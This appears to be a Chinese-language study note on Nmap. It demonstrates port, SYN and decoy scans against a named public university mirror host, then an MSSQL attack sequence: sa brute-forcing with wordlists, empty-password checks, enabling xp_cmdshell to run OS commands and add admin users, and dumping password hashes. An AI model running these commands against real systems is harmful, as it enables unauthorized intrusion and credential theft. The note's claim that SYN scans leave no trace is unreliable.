扫描探测-Nmap
目录
- 检测相关脆弱性漏洞
- 检测主机情况、端口状态、查看操作系统
- 破解数据库信息,获得相应权限
- 了解脚本使用
环境
靶机---->>>域名:mirror.dlut.edu.cn
---->>>IP:202.118.65.164
Nmap信息探测
1.扫描特定网站
>>>nmap -sT 202.118.65.164,-sT为采用tcp扫描,但是一般都默认为tcp扫描可以不写,用nmap 202.118.65.164也是一样效果。
特点:这是一种最为普通的扫描方法,扫描的速度快,准确性高,对操作者没有权限上的要求,但是容易被防火墙和IDS(防入侵系统)发现
原理:通过建立TCP的三次握手连接来进行信息的传递
>>>探测结果:扫描的总时间为54.12秒,开放的80端口,使用http协议,其中有999个端口被屏蔽,可能开启了相关的防火墙策略。
2. 特定端口扫描
>>>nmap -sT 202.118.65.164 -p 21,23,3389 -p是指定的端口
>>>探测结果:可查看三个端口的服务,三个端口都被过滤
3. 进行快速查找
>>>nmap -F -sT -v 202.118.65.164
正常情况下我们默认会最多查看1000个开发端口,这时候可以利用快速查看的命令进行扫描
-F:快速扫描100个最有可能开放端口
-v 获取扫描的信息
同样查看相关端口状态及服务,另外很重要的就是可以查看扫描的每个步骤的详细信息,使用扫描时间短
4. SYN扫描
>>>nmap -sS 202.118.65.164(SYN扫描)
这是一种秘密的扫描方式之一,因为在SYN扫描中Client端和Server端没有形成3次握手,所以没有建立一个正常的TCP连接,因此不被防火墙和日志所记录,一般不会再目标主机上留下任何的痕迹,但是这种扫描是需要root权限(对于windows用户来说,是没有root权限这个概念的,root权限是linux的最高权限,对应windows的管理员权限)
>>>主要显示http和https相关的服务状态
5.掩饰访问的主机ip
>>>nmap -sP -D 1.1.1.1 202.118.65.164
-sP为通过ping扫描,-D为伪造地址
利用wirshak可以查看相关包情况,有ICMP包,而且有两个不同ip对主机进行同样的访问,但是不可以进行替换
6. 查看路由与接口
>>>nmap -iflist:查看本地路由与接口
nmap中提供了–iflist选项来查看本地主机的接口信息与路由信息。当遇到无法达到目标主机或想选择从多块网卡中某一特定网卡访问目标主机时,可以查看nmap –iflist中提供的网络接口信息。和route -n功能一样
7. nmap扫描生成xml文件
>>>nmap -sT 202.118.65.164 -oX 1.xml
8. 获取相关mssql数据库信息的步骤
对每个步骤进行总结,说明这几个脚本的用处,知道了脚本的用处,自然也就会使用了。
a.脚本介绍
在对靶机进行扫描的时候,可以实用相应的脚本进行攻击,以此获得想要的内容,在/usr/share/nmap/scripts下有很多可利用脚本,我就说这次我用到几个脚本具体作用
>>>ms-sql-info 发现数据库相关信息(学习里面的脚本可以利用,vim进去查看,里面都有详细描述,例如下面部分描述)
>>>ms-sql-empty-password.nse 尝试使用空密码对Microsoft SQL Server进行身份验证sysadmin(sa)帐户。
>>>ms-sql-xp-cmdshell.nse 利用xp_cmdshell,远程执行系统命令
>>>ms-sql-brute.nse sa弱口令爆破
>>>ms-sql-hasdbaccess 得到sa账户和密码之后需要进行验证,可以执行这个脚本
>>>ms-sql-dump-hashes.nse 导出mssql中所有的数据库用户及密码hash
b.获取mssql数据库信息具体步骤
1) nmap -p1433 --script ms-sql-info 202.118.65.164
>>>利用mysql数据库1443端口扫描是否发现数据库相关的信息;发现1443端口被过滤了
2) nmap -p1433 --script ms-sql-brute 202.118.65.164
>>>检查是否有弱口令和数据库身份验证,需要运行以下nmap的脚本,它会执行暴力破解
3)nmap -p1433 --script ms-sql-brute.nse --script-args userdb=/mssql/username.txt,passdb=/mssql/password.txt 202.118.65.164
>>>在前几步没有发现数据库情况下,利用脚本使用字典更快发现数据库信息,username.txt为字典名字,password.txt为字典密码,跑脚本看是不是会被命中
4)nmap -p1433 --script ms-sql-empty-password.nse 202.118.65.164
>>>检查密码是否为空,使用这个尝试用空密码进行破解,看是否可以进入数据库。
5) nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,password=123456 202.118.65.164
>>>在这假设上面步骤破解了sa帐户、密码123456。我们可以使用这个信息来连接数据库直接执行脚本,需要进一步Nmap有效身份认证。如果我们想知道在哪个数据库sa帐户访问或任何其他账户,可以运行ms-sql-hasdbaccess脚本。
6)可以获取mssql数据库的表信息,nmap -p1433 --script ms-sql-tables.nse --script-args mssql.username=sa,password=123456 202.118.65.164
7)nmap -p1433 --script ms-sql-xp-cmdshell.nse --script-args mssql.username=sa,password=123456 202.118.65.164
>>>使用ms-sql-xp-cmdshell.nse脚本可以开启xp_cmdshell,然后就可以进入os命令界面,然后就可以新建用户,将用户在加入管理组等操作)
8)nmap --script=ms-sql-dump-hashes.nse --script-args mssql.username=sa,password=123456 202.118.65.164
>>>最后可以利用的一个脚本就是哈希值破解密码ms-sql-dump-hashes.nse,可以查看其它用户的用户信息。